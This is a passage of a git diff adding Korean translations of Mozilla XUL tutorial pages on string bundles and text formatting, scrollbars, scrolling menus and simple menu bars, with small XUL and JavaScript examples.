+<h4 id="Bundle.EC.97.90.EC.84.9C_.EB.AC.B8.EC.9E.90.EC.97.B4_.EC.96.BB.EA.B8.B0" name="Bundle.EC.97.90.EC.84.9C_.EB.AC.B8.EC.9E.90.EC.97.B4_.EC.96.BB.EA.B8.B0">Bundle에서 문자열 얻기</h4>
+<p>이 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/stringbundle" title="stringbundle">stringbundle</a></code></code> 요소에는 많은 프로퍼티가 있습니다. 처음은 bundle에서 문자열을 읽기 위해 스크립트에 쓰일 수 있는 <code>getString</code>입니다.</p>
+<pre>var strbundle = document.getElementById("strings");
+var nofilesfound=strbundle.getString("notFoundAlert");
+
+alert(nofilesfound);
+</pre>
+<ul>
+ <li>이 예제는 먼저 <code>id</code>를 써서 bundle 참조(reference)를 얻습니다</li>
+ <li>그리고 나서, 프로퍼티 파일에서 'notFoundAlert' 문자열을 찾아봅니다. 함수 <code>getString()</code>은 문자열 값이나 문자열이 없으면 null을 돌려줍니다.</li>
+ <li>끝으로, 문자열이 경고 대화 상자에 표시됩니다.</li>
+</ul>
+<h4 id=".ED.85.8D.EC.8A.A4.ED.8A.B8_.ED.8F.AC.EB.A7.B7.ED.8C.85" name=".ED.85.8D.EC.8A.A4.ED.8A.B8_.ED.8F.AC.EB.A7.B7.ED.8C.85">텍스트 포맷팅</h4>
+<p>다음 메소드는 <code>getFormattedString()</code>입니다. 이 메소드 또한 bundle에서 주어진 키 이름으로 문자열을 얻습니다. 게다가, 포맷팅 코드(예컨대, <code>%S</code>)가 나올 때마다 주어진 배열의 연속하는 각 요소로 바뀝니다.</p>
+<pre>var dir = "/usr/local/document";
+var count = 10;
+
+var strbundle = document.getElementById("strings");
+var result = strbundle.getFormattedString("resultMessage", [ dir, count ]);
+
+alert(result);
+</pre>
+<p>이 예제는 다음 메시지를 경고 대화 상자에 표시합니다.</p>
+<pre>10 files found in the /usr/local/document directory.
+</pre>
+<p>여러분은 포맷팅 코드 <code>%1$S</code>와 <code>%2$S</code>가 쓰이고 배열에서 다른 순서로 바뀜을 알아챌 겁니다. 포맷팅 코드 %
+ <i>
+  n</i>
+ $S는 직접 대응하는 매개변수(parameter)의 위치를 지정합니다. 비록 낱말 순서가 모든 언어에서 같지 않더라도, <code>getFormattedString()</code>을 써서 지정한 순서로 프로퍼티 파일을 작성할 수 있습니다.</p>
+<h3 id=".EB.B9.84.EC.95.84.EC.8A.A4.ED.82.A4_.EB.AC.B8.EC.9E.90_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84" name=".EB.B9.84.EC.95.84.EC.8A.A4.ED.82.A4_.EB.AC.B8.EC.9E.90_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84">비아스키 문자 이스케이프</h3>
+<p>비록 많은 언어에서 비ASCII 문자가 필요하더라도, 프로퍼티 파일은 오직 ASCII 문자를 써서 작성해야 합니다. 그러나, 프로퍼티 파일은 XXXX가 문자 코드인 <code>\uXXXX</code> 형식 이스케이프 시퀀스를 써서 다른 문자를 지원합니다. 그러므로, 혹시 여러분의 프로퍼티 파일이 비ASCII 문자를 담고 있으면, 여러분은 이를 'escaped-unicode' 형식으로 변환해야 합니다. 이를 위해, 여러분은 Sun사의 Java Development Kit (JDK)와 같이 묶인 native2ascii 명령줄 유틸리티를 쓸 수 있습니다.</p>
+<p>다음 절에서는, <a href="ko/XUL_Tutorial/Introduction_to_XBL">요소의 behavior</a>를 정의하는 데 쓸 수 있는 XBL을 보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Localization" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Introduction_to_XBL">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/scroll_bars/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/scroll_bars/index.html
new file mode 100644
index 0000000000..583447186e
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/scroll_bars/index.html
@@ -0,0 +1,71 @@
+---
+title: Scroll Bars
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Scroll_Bars
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Scroll_Bars
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Splitters" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Toolbars">다음  »</a></p>
+</div><p></p>
+<p>이제, 창에 스크롤바를 추가해 보도록 하겠습니다.</p>
+<h3 id=".EC.8A.A4.ED.81.AC.EB.A1.A4.EB.B0.94_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0" name=".EC.8A.A4.ED.81.AC.EB.A1.A4.EB.B0.94_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0">스크롤바 추가하기</h3>
+<p>스크롤바는 대개 사용자가 긴 문서를 이동하기 위해 사용됩니다. 또한 어떤 범위에 해당하는 값을 선택하기 위해서도 사용될 수 있습니다. 스크롤바는 여러 방식으로 생성될 수 있는데, XUL에서는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/scrollbar" title="scrollbar">scrollbar</a></code></code> 태그를 이용해서 만들어 집니다. 글상자와 같은 일부 요소는 내용이 너무 긴 경우와 같이, 필요에 따라 스크롤바를 추가할 수 있습니다.</p>
+<p>이 단원에서는 독립적인 스크롤바의 생성 방법에 대해 다룰 것입니다. 사용자는 스크롤바를 조정하여 값을 설정하게 될 것입니다. 여러분은 그리 많이 사용할 일이 없을 것입니다. 스크롤바는 주요 부분인 조정 가능한 스크롤상자(thumb)와 양 끝단에 있는 2개의 화살표 버튼들로 구성됩니다. 스크롤바는 이러한 모든 요소들을 자동으로 생성합니다.</p>
+<p><img alt="Image:scroll1.png"></p>
+<p>스크롤바의 구문은 다음과 같습니다.</p>
+<pre>&lt;scrollbar
+    id="identifier"
+    orient="horizontal"
+    curpos="20"
+    maxpos="100"
+    increment="1"
+    pageincrement="10"/&gt;
+</pre>
+<p>속성은 다음과 같습니다.</p>
+<dl>
+ <dt>
+  <code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></dt>
+ <dd>
+  스크롤바의 유일 식별자.</dd>
+</dl>
+<dl>
+ <dt>
+  <code id="a-orient"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code></dt>
+ <dd>
+  이 속성은 스크롤바의 방향을 지정합니다. 기본값은 <code>horizontal</code>로, 좌측에서 우측으로 늘어나는 스크롤바를 만듭니다. <code>vertical</code>이라는 속성을 지정할 수도 있는데, 이는 상단에서 하단으로 늘어나는 스크롤바를 만듭니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code id="a-curpos"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/curpos">curpos</a></code></dt>
+ <dd>
+  이 속성은 스크롤상자(여러분이 스크롤바에서 앞뒤로 움직일 수 있는 막대)의 현재 위치를 나타냅니다. 이 속성값은 0부터 <code>maxpos</code> 속성에 지정한 값의 범위를 가집니다. 이 속성값은 단위를 필요로 하지 않으며, 기본값은 0입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code id="a-maxpos"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/maxpos">maxpos</a></code></dt>
+ <dd>
+  이것은 스크롤상자의 최대 위치를 가리킵니다. 숫자로 나타내며 단위는 없습니다. 기본값은 100입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code id="a-increment"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/increment">increment</a></code></dt>
+ <dd>
+  여기에 명시한 값은 사용자가 스크롤바에 있는 화살표 버튼을 클릭했을 때 <code>curpos</code> 값을 얼마나 변경할 지 지정합니다. 기본값은 1입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code id="a-pageincrement"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/pageincrement">pageincrement</a></code></dt>
+ <dd>
+  여기에 명시한 값은 사용자가 스크롤바의 구간의 쪽를 클릭했을 때, 즉 스크롤상자와 화살표 사이의 영역을 클릭할 때 얼만큼의 <code>curpos</code>값이 변경될지를 지정합니다. 기본값은 10입니다.</dd>
+</dl>
+<p>위에 있는 구문 예제는 0부터 100까지의 범위를 가지는 스크롤바를 생성할 것입니다. 100이라는 값은 목록에 있는 줄 수 일수 있지만, 여러분이 원하는 어떤 것일 수도 있습니다. 이 예제에서 초기값은 20입니다. 스크롤바의 화살표 중 하나를 클릭하면, 값은 위나 아래로 1씩 바뀌게 됩니다. 스크롤바의 페이지 영역(스크롤박스와 화살표 버튼 사이 영역)을 클릭하면 10만큼 바뀌게 됩니다.</p>
+<p>사용자가 스크롤바 화살표를 클릭하면 스크롤상자는 <code>increment</code>값에 지정한 양만큼 이동하게 됩니다. 이 속성값을 증가시키면 클릭할 때마다 더 멀리 이동하게 됩니다. 스크롤바의 좌측단 또는 최상단 위치는 0값을 가지며 우측단과 최하단 위치는 <code>maxpos</code>에 지정된 값을 가집니다.</p>
+<p>스크롤바의 값을 조정함으로써, 스크롤상자 부분을 원하는 곳에 위치시키고 화살표를 클릭했을 때 이동범위를 변경할 수 있습니다.</p>
+<p>다음에는 <a href="ko/XUL_Tutorial/Toolbars">툴바</a>를 만드는 방법에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Splitters" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Toolbars">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/scrolling_menus/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/scrolling_menus/index.html
new file mode 100644
index 0000000000..bf2600329a
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/scrolling_menus/index.html
@@ -0,0 +1,46 @@
+---
+title: Scrolling Menus
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Scrolling_Menus
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Scrolling_Menus
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Popup_Menus" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Adding_Event_Handlers">다음  »</a></p>
+</div><p></p>
+<p>이번 단원에서는 스크롤 메뉴와 스크롤 기능의 사용 방법에 대해 알아보겠습니다.</p>
+<h3 id=".ED.81.B0_.EB.A9.94.EB.89.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".ED.81.B0_.EB.A9.94.EB.89.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0">큰 메뉴 만들기</h3>
+<p>화면에 다 넣을수 없을만큼 많은 명령을 가진 메뉴를 작성하면 어떻게 될지 궁금하실 것입니다. Mozilla에서는 이런 경우를 위해 항목이 스크롤되는 기능을 제공합니다.</p>
+<div class="float-right">
+ <img alt="Image:menuscroll1.png"></div>
+<p>만약 사용할 수 있는 공간이 모자라면 메뉴의 양 끝에 화살표가 나타납니다. 이 때 마우스를 화살표 위에 갖다 대면 메뉴가 위, 아래로 스크롤됩니다. 공간이 충분하다면 화살표는 나타나지 않습니다. 이 때 주의할 것은 스크롤의 작동 방식은 테마에 따라 다르다는 것입니다.</p>
+<p>스크롤 기능은 자동으로 실행됩니다. 따라서 스크롤 메뉴를 만들기 위해 다른 것을 건드릴 필요는 없습니다. 스크롤 기능은 <code>menubar</code>, <code>popup</code>, <code>menulist</code>에 있는 메뉴에 적용됩니다. 이 기능은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/arrowscrollbox" title="arrowscrollbox">arrowscrollbox</a></code></code> 요소를 이용하여 구현됩니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/arrowscrollbox" title="arrowscrollbox">arrowscrollbox</a></code></code> 요소는 화살표가 있는 스크롤 상자를 만들 때도 사용할 수 있습니다.</p>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/arrowscrollbox" title="arrowscrollbox">arrowscrollbox</a></code></code> 요소는 일반 상자가 사용될 수 있는 곳 어디서나 사용될 수 있습니다. 꼭 메뉴에만 사용해야 하는 것은 아닙니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/arrowscrollbox" title="arrowscrollbox">arrowscrollbox</a></code></code> 요소는 항상 세로 상자이며 어떤 요소든 포함할 수 있습니다. 여러분은 드롭다운이 아닌 목록을 구현하기 위해 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/arrowscrollbox" title="arrowscrollbox">arrowscrollbox</a></code></code> 요소를 사용할 수도 있습니다.</p>
+<h4 id=".EC.98.88.EC.A0.9C_-_.EC.8A.A4.ED.81.AC.EB.A1.A4.EB.90.98.EB.8A.94_.EB.B2.84.ED.8A.BC_.EB.AA.A9.EB.A1.9D" name=".EC.98.88.EC.A0.9C_-_.EC.8A.A4.ED.81.AC.EB.A1.A4.EB.90.98.EB.8A.94_.EB.B2.84.ED.8A.BC_.EB.AA.A9.EB.A1.9D">예제 - 스크롤되는 버튼 목록</h4>
+<p>아래는 스크롤할 수 있는 버튼 목록을 만드는 방법을 보여주는 예제입니다(화살표를 보려면 창을 줄여야 할것입니다).</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_menuscroll_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_menuscroll_1.xul">View</a></p>
+<pre>&lt;arrowscrollbox orient="vertical" flex="1"&gt;
+  &lt;button label="Red"/&gt;
+  &lt;button label="Blue"/&gt;
+  &lt;button label="Green"/&gt;
+  &lt;button label="Yellow"/&gt;
+  &lt;button label="Orange"/&gt;
+  &lt;button label="Silver"/&gt;
+  &lt;button label="Lavender"/&gt;
+  &lt;button label="Gold"/&gt;
+  &lt;button label="Turquoise"/&gt;
+  &lt;button label="Peach"/&gt;
+  &lt;button label="Maroon"/&gt;
+  &lt;button label="Black"/&gt;
+&lt;/arrowscrollbox&gt;
+</pre>
+<p>예제를 실행하면 전체 화면으로 표시될 것입니다. 하지만 창의 높이를 줄이면, 스크롤 화살표가 나타날 것입니다. 다시 창을 키우면 화살표가 사라질 것입니다.</p>
+<p>항상 화살표가 보이도록 하고 싶다면 <code>arrowscrollbox</code>에 CSS의 <code>max-height</code> 속성을 사용하여 크기를 제한하면 됩니다.</p>
+<p><code>arrowscrollbox</code>는 주로 메뉴와 팝업에서 유용하게 사용됩니다.</p>
+<p>다음에는 XUL 요소에 <a href="ko/XUL_Tutorial/Adding_Event_Handlers">이벤트 핸들러</a>를 지정하는 방법에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Popup_Menus" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Adding_Event_Handlers">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/simple_menu_bars/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/simple_menu_bars/index.html
new file mode 100644
index 0000000000..2ba8d57bcf
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/simple_menu_bars/index.html
@@ -0,0 +1,160 @@
+---
+title: Simple Menu Bars
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Simple_Menu_Bars
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Simple_Menu_Bars
+---
+<p> </p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Toolbars" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:More_Menu_Features">다음  »</a></p>
+</div><p></p>
+
+<p>이번 단원에서는 메뉴를 포함하는 메뉴바의 작성 방법에 대해 알아보겠습니다.</p>
+
+<h3 id=".EB.A9.94.EB.89.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".EB.A9.94.EB.89.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0">메뉴 만들기</h3>
+
+<p>XUL에는 메뉴를 만들 수 있는 여러가지 다양한 방법이 있습니다. 가장 기본적인 방식은 많은 응용프로그램이 그러하듯이 메뉴들을 포함하는 메뉴바를 추가하는 방법이며, 또한 팝업 메뉴도 만들 수 있습니다. XUL의 메뉴 기능은 메뉴바나 팝업 메뉴를 만들 수 있는 여러가지 요소들로 구성되어 있습니다. 메뉴에 있는 항목들은 쉽게 커스터마이징 할 수 있습니다. 우리는 이미 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code>를 사용해서 <a href="ko/XUL_Tutorial/List_Controls#Drop-down_Lists">메뉴를 만드는 방법</a>을 살펴보았습니다. 이 단원은 이 내용을 기반으로 진행될 것입니다.</p>
+
+<p>메뉴바는 대개 툴바와 비슷한 방법으로 작성됩니다. 메뉴바는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></code> 요소 내부에 위치할 수 있으며, 메뉴바의 왼쪽에 이를 닫을 수 있는 그리피가 나타납니다(주의: Firefox에서는 더 이상 그리피를 지원하지 않습니다). 메뉴는 툴바와 작동방식도 비슷합니다. XUL은 메뉴에만 특별한 몇 가지 요소를 가지고 있습니다.</p>
+
+<p>메뉴바와 메뉴의 작성과 관련된 4가지 요소가 있으며, 여기서는 간략하게 다루고 진행하면서 자세히 다루겠습니다.</p>
+
+<dl>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code></dt>
+ <dd>메뉴들의 컨테이너.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code></dt>
+ <dd>이름과 달리, 실제로는 메뉴바에 있는 메뉴의 제목을 나타낼 뿐입니다. 이 요소는 메뉴바 내에 위치하거나 독립적으로 위치할 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></dt>
+ <dd>메뉴 제목을 클릭하였을 때 나타나는 팝업 상자입니다. 이 상자는 메뉴 명령 목록을 포함합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></dt>
+ <dd>메뉴의 개별 명령으로 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code>에 위치합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code></dt>
+ <dd>메뉴의 구분 막대로 <code>menupopup</code>에 위치합니다.</dd>
+</dl>
+
+<div class="note">
+<p>맥킨토시를 제외한 모든 플랫폼에서 원하는 대로 메뉴바에 있는 메뉴를 변경할 수 있습니다. 이것은 메킨토시에는 시스템에 의해 화면 상단을 따라 자신만의 메뉴를 만들기 때문입니다. 여러분은 커스텀 메뉴를 만들 수는 있지만, 메뉴에 적용한 특별한 서식 규칙이나 비(非)-메뉴 요소는 적용되지 않을 수 있습니다. 메뉴를 만들 때 이 점을 염두에 두어야 합니다.</p>
+</div>
+
+<h5 id=".EA.B0.84.EB.8B.A8.ED.95.9C_.EB.A9.94.EB.89.B4.EB.B0.94_.EC.98.88.EC.A0.9C" name=".EA.B0.84.EB.8B.A8.ED.95.9C_.EB.A9.94.EB.89.B4.EB.B0.94_.EC.98.88.EC.A0.9C">간단한 메뉴바 예제</h5>
+
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_menubar_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_menubar_1.xul">View</a></p>
+
+<div class="float-right"><img alt="Image:menubar-ex1.png"></div>
+
+<pre>&lt;toolbox flex="1"&gt;
+  &lt;menubar id="sample-menubar"&gt;
+    &lt;menu id="file-menu" label="File"&gt;
+      &lt;menupopup id="file-popup"&gt;
+        &lt;menuitem label="New"/&gt;
+        &lt;menuitem label="Open"/&gt;
+        &lt;menuitem label="Save"/&gt;
+        &lt;menuseparator/&gt;
+        &lt;menuitem label="Exit"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+    &lt;menu id="edit-menu" label="Edit"&gt;
+      &lt;menupopup id="edit-popup"&gt;
+        &lt;menuitem label="Undo"/&gt;
+        &lt;menuitem label="Redo"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+  &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+
+<p>위 예제에서는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code></code> 요소를 사용해서 간단한 메뉴바와 메뉴바에 위치한 메뉴들을 만들었습니다. 여기서는 File과 Edit 2개 메뉴가 작성되었습니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code></code> 요소는 메뉴상단에 제목을 만들며, 메뉴바에 나타납니다. 팝업은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> 요소를 사용하여 만들어집니다. 팝업은 사용자가 이의 부모 메뉴 제목을 클릭할 때 튀어나오게 됩니다. 팝업의 크기는 팝업에 포함된 명령에 맞게 충분히 크게 나타납니다. 명령 자체는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code>를 사용해서 만들어집니다. 각 <code>menuitem</code>은 메뉴 팝업에서 하나의 명령을 나타냅니다.</p>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code></code> 요소를 사용해서 메뉴에 구분자를 만들 수도 있습니다. 이것은 menuitem 그룹들을 나눌 때 사용됩니다.</p>
+
+<h4 id="menubar_.EC.9A.94.EC.86.8C" name="menubar_.EC.9A.94.EC.86.8C"><code>menubar</code> 요소</h4>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code></code>는 메뉴를 담는 상자입니다. 메뉴바가 flex 속성을 갖는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></code> 내부에 위치하고 있다는 점을 주의깊게 보시기 바랍니다. 메뉴바는 특별한 속성을 가지지는 않지만 상자 유형에 속합니다. 이것은 <code><code id="a-orient"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code></code> 속성값을 <code>vertical</code>로 하면 세로 방향의 메뉴바를 만들 수 있다는 것을 의미합니다.</p>
+
+<h4 id="menu_.EC.9A.94.EC.86.8C" name="menu_.EC.9A.94.EC.86.8C"><code>menu</code> 요소</h4>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code></code> 요소는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> 요소와 비슷하게 동작합니다. <code>menu</code> 요소는 <code>button</code>과 몇 가지 동일한 속성을 가지며 그 외 추가적인 속성을 포함합니다.</p>
+
+<dl>
+ <dt><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></dt>
+ <dd>메뉴의 유일 식별자.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></dt>
+ <dd>File 또는 Edit와 같은 메뉴에 나타나는 텍스트.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-disabled"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/disabled">disabled</a></code></dt>
+ <dd>이 불린(boolean) 속성은 메뉴 사용여부를 결정합니다. 할 수는 있지만, 전체 메뉴를 사용 중지할 필요는 극히 드뭅니다. 이 속성은 <code>true</code> 또는 <code>false</code> 중 한가지 값을 가집니다. 물론, 기본값은 후자입니다.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-accesskey"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/accesskey">accesskey</a></code></dt>
+ <dd>이 속성은 사용자가 메뉴 항목을 활성화하기 위해 누를 수 있는 키입니다. 이 문자는 대개 메뉴 제목에 밑줄이 그어진 문자로 출력됩니다. Mozilla는 label 속성을 검토해서 여기에 지정된 문자를 찾아 밑줄을 추가합니다. 그렇기 때문에 라벨 텍스트에 있는 문자 중 하나를 이 속성으로 지정하는 것이 좋습니다. 물론 여기에 지정한 문자가 라벨 텍스트에 없더라도 동작합니다.</dd>
+</dl>
+
+<div class="float-right"><img alt="Image:menubar-ex2.png"></div>
+
+<p>꼭은 아니지만, <code>menu</code> 요소는 보통 <code>menubar</code>에 위치합니다. 만약 menubar에 포함되어 있지 않으면 다른 형태로 출력됩니다. 여기에 있는 그림은 메뉴바가 없는 경우 앞서의 예제가 어떤 모습이 되는지 보여주고 있습니다.</p>
+
+<h4 id="menupopup_.EC.9A.94.EC.86.8C" name="menupopup_.EC.9A.94.EC.86.8C"><code>menupopup</code> 요소</h4>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> 요소는 메뉴 명령들을 포함하는 팝업창을 만듭니다. 이 요소는 세로 방향을 기본으로 하는 상자입니다. 원할 경우 가로 방향으로 바꿀 수 있으며, 그렇게 하면 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code>들은 행으로 위치하게 됩니다. 일반적으로 <code>menuitem</code>과 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code></code>만 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code>에 위치합니다. 여려분은 <code>menupopup</code>에 어떤 요소든 넣을 수 있지만, 앞서 말한바와 같이 맥킨토시에서는 무시될 것입니다.</p>
+
+<h4 id="menuitem_.EC.9A.94.EC.86.8C" name="menuitem_.EC.9A.94.EC.86.8C"><code>menuitem</code> 요소</h4>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code> 요소는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code></code> 요소와 아주 비슷하며 일부 동일한 속성들을 가지고 있습니다.</p>
+
+<dl>
+ <dt><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></dt>
+ <dd>메뉴 제목버튼의 유일 식별자.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></dt>
+ <dd>Open 또는 Save같은 메뉴 항목에 나타날 텍스트.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-disabled"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/disabled">disabled</a></code></dt>
+ <dd>이 불린(boolean) 속성은 메뉴 사용여부를 결정합니다. 이 속성은 <code>true</code> 또는 <code>false</code> 중에서 하나의 값으로 지정될 수 있으며 후자가 기본값입니다.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-accesskey"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/accesskey">accesskey</a></code></dt>
+ <dd>이 속성은 사용자가 메뉴 항목을 활성화하기 위해 누를 수 있는 키입니다. 이 문자는 대개 메뉴제목에 밑줄이 그어진 문자로 출력됩니다. Mozilla는 label 속성을 검토해서 여기에 지정한 문자를 찾아 밑줄을 추가합니다. 그렇기 때문에 라벨 텍스트에 있는 문자 중 하나를 이 속성으로 지정하는 것이 좋습니다.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-acceltext"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/acceltext">acceltext</a></code></dt>
+ <dd>이것은 메뉴 명령글 옆에 표시될 단축키 텍스트를 지정합니다. 그렇다고 해당 단축키와 <code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>을 바로 연결하는 것은 아닙니다(이 속성을 지정한다고 단축키를 눌렀을때 해당 메뉴가 실행되는 것은 아닙니다). 이 방법에 대해서는 <a href="ko/XUL_Tutorial/Keyboard_Shortcuts">이후</a>에 다룰 것이다.</dd>
+</dl>
+
+<h4 id="menuseparator_.EC.9A.94.EC.86.8C" name="menuseparator_.EC.9A.94.EC.86.8C"><code>menuseparator</code> 요소</h4>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code></code>에는 특별한 속성이 없습니다. 단지 메뉴 항목들 사이에 가로막대를 만들 뿐입니다.</p>
+
+<p>다음 단원에서는 <a href="ko/XUL_Tutorial/More_Menu_Features">다양한 메뉴 기능들</a>에 대해 알아 보겠습니다.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Toolbars" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:More_Menu_Features">다음  »</a></p>
+</div><p></p>
+
+<p></p>
